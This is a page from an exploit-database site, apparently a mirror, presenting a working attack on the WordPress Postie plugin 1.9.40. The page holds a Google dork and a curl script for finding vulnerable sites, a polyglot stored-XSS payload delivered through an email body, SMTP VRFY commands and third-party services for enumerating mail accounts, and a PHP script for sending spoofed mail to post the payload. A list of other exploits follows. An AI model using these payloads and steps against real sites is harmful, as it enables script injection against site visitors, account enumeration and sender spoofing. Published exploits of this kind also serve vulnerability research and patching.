Become a patron and gain access to the dashboard, Schedule scans, API and Search patron

Search for hundreds of thousands of exploits

"WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting"

Author

Exploit author

V1n1v131r4

Platform

Exploit platform

php

Release date

Exploit published date

2020-01-16

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# Exploit Title: WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting
# Google Dork: inurl:/wp-content/plugins/postie/readme.txt
# Date: 2020-01-15
# Exploit Author: V1n1v131r4
# Vendor Homepage: https://postieplugin.com/
# Software Link: https://wordpress.org/plugins/postie/#developers
# Version: <=1.9.40
# Tested on: Linux
# CVE : CVE-2019-20203, CVE-2019-20204

## Identifying WordPress Postie Plugin installation

#!/bin/bash                                                                                                                                                                                                                                     if curl -s -o /dev/null -w "%{http_code}" http://<domain.com>/wp-content/plugins/postie/readme.txt | grep 200 > /dev/null; then                                                                                                                    echo ""                                                                                                                 echo "Postie installed!"                                                                                        else                                                                                                                            echo ""                                                                                                                 echo "Postie seems not to be installed"                                                                         fi  

## Performing persistent XSS using Polyglot JavaScript syntax with crafted SVG (CVE-2019-20204)

# the syntax below should go as email body

jaVasCript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(You've been hacked)//'>

## Email to post on Postie

- Identifying the mail server

	dig domain.com mx

- enumerating accounts via SMTP

	telnet domain.com 587
	EHLO buddy
	mail from:<[email protected]>
	rcpt to:<[email protected]>
	vrfy [email protected]


- listing accounts via third party software

	You can use these third party software and APIs to enumerate target email users:
	- https://www.zerobounce.net
	- https://tools.verifyemailaddress.io/
	- https://hunter.io/email-verifier



## Spoofing with PHPMailer


<?php

	/* CONFIGURE PHP IF NEEDED */
	// ini_set("sendmail_from","$fromFull");
	// ini_set("SMTP","mail.domain.com");
	// ini_set('smtp_port',587);
	// ini_set('username',"user");
	// ini_set('password',"pass");


	// COMPOSE
	$to      = '[email protected].com';
	$subject = 'Title of your post';
	$message = 'You've been hacked :-)';
	

	// BASIC HEADER
	$headers = 'From: [email protected]' . "\r\n" .
	   	   	   'Reply-To: [email protected]' . "\r\n" .
	    	   'X-Mailer: PHP/' . phpversion();
	
	
	// SEND AND SHOW MESSAGE
	if (mail($to, $subject, $message, $headers)) echo $headers.'<h1>Mail sent!</h1>';
	else echo '<h1>Something went wrong...</h1>';
	

	// FULL HEADER
	// $headers  = "From: testsite < [email protected] >\n";
	// $headers .= "Cc: testsite < [email protected] >\n"; 
	// $headers .= "X-Sender: testsite < [email protected] >\n";
	// $headers .= 'X-Mailer: PHP/' . phpversion();
	// $headers .= "X-Priority: 1\n";
	// $headers .= "Return-Path: [email protected]\n";
	// $headers .= "MIME-Version: 1.0\r\n";
	// $headers .= "Content-Type: text/html; charset=iso-8859-1\n";

    ?>
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/47925/?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.